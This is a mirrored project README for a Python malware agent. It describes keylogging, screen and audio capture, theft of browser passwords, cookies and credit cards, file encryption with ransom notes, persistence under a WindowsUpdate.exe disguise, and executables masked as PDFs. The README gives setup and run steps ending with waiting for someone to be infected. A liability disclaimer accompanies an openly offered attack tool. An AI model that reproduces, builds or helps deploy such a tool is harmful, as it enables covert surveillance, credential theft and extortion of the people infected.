Giter Club home page Giter Club logo

malware-agent's Introduction

Malware Agent

A Python-based malware agent designed to act as a persistent agent, staying active while awaiting commands.

NOTE: This malware does not request admin privileges!

INFO: ENCRYPTION/DECRYPTION not working after a reboot because the script loses its permissions to write files. I'm trying to exploit it. The first run runs fine. You can setup it to encrypt it at run if you like to. The encryption can retrieve the files before encrypting, and send to the server!

WARNING: I AM NOT RESPONSIBLE FOR ANY DAMAGE THIS CODE MAY CAUSE, PLEASE USE WITH WISDOM AND TO NOT HARM ANYONE

Agent Features

Endurance

  • Maintains a connection while the target machine is operational.
  • Automatically starts at every reboot.

Reproduction

  • Copies itself to a folder in the APPDATA directory when executed.
  • Masks its executable name when copying it to the APPDATA folder to remain undetectable.
    • For example, if the executable was named malware.exe, it will be copied as WindowsUpdate.exe for low detectability.

Abilities

  • Capture screenshots.
  • Record audio.
  • Implement a keylogger to record and dump keyboard inputs.
  • Retrieve sensitive data from web browsers, including downloads, cookies, saved passwords, and saved credit card information.
  • Execute any command provided via CMD.
  • Retrieve system information such as the approximated location, recent IPs connected to the machine, and system details for potential social engineering.

File Operations

  • Encrypt files, with a "READ_ME_IM_IMPORTANT.txt" file added to Downloads, Documents, and Desktop folders containing instructions on decrypting the data.
  • Decrypt files using a decryption key.
  • Zip together important files while maintaining their respective file structures and send them to the master.

Master Features

Stability

  • Maintain a Heartbeat system with connected agents, using asyncio for simultaneous heartbeats to improve efficiency.
  • Remove agents with no heartbeat detected or in case of errors.

User Interface (UI)

  • Features a simple UI to view logs and interact with connected agents.
  • Buttons are enabled only when an agent is available and selected.

Generate Executable Features

Sneaky

  • Randomly select an icon name from a list and generate a file with that icon. For example, malware.exe becomes malware.pdf with a PDF icon.
  • Use the UNITRIX exploit to mask the executable's file type, making it appear as another file type while maintaining functionality.

Compact

  • Generate a one-file executable, infecting the user with just a single run.

Installation

To use this malware agent, follow these steps:

  1. Clone this repository to your local machine:
git clone https://github.com/pedrohusky/malware-agent.git
  1. Navigate to the downloaded folder:
cd malware-agent
  1. Install the required dependencies:
pip install -r requirements.txt
  1. To generate the executable, use the following command (you can freely modify the code before generating the executable if needed):
python generate_exe.py
  1. After generating the executable, start the server:
python master_server.py

Wait for someone to be infected with your executable.

Please ensure that you have Python and pip installed on your system before following these steps.

TODO

  • Make it run in linux and mac
  • Add abilities
  • Idk

malware-agent's People

Contributors

pedrohusky avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.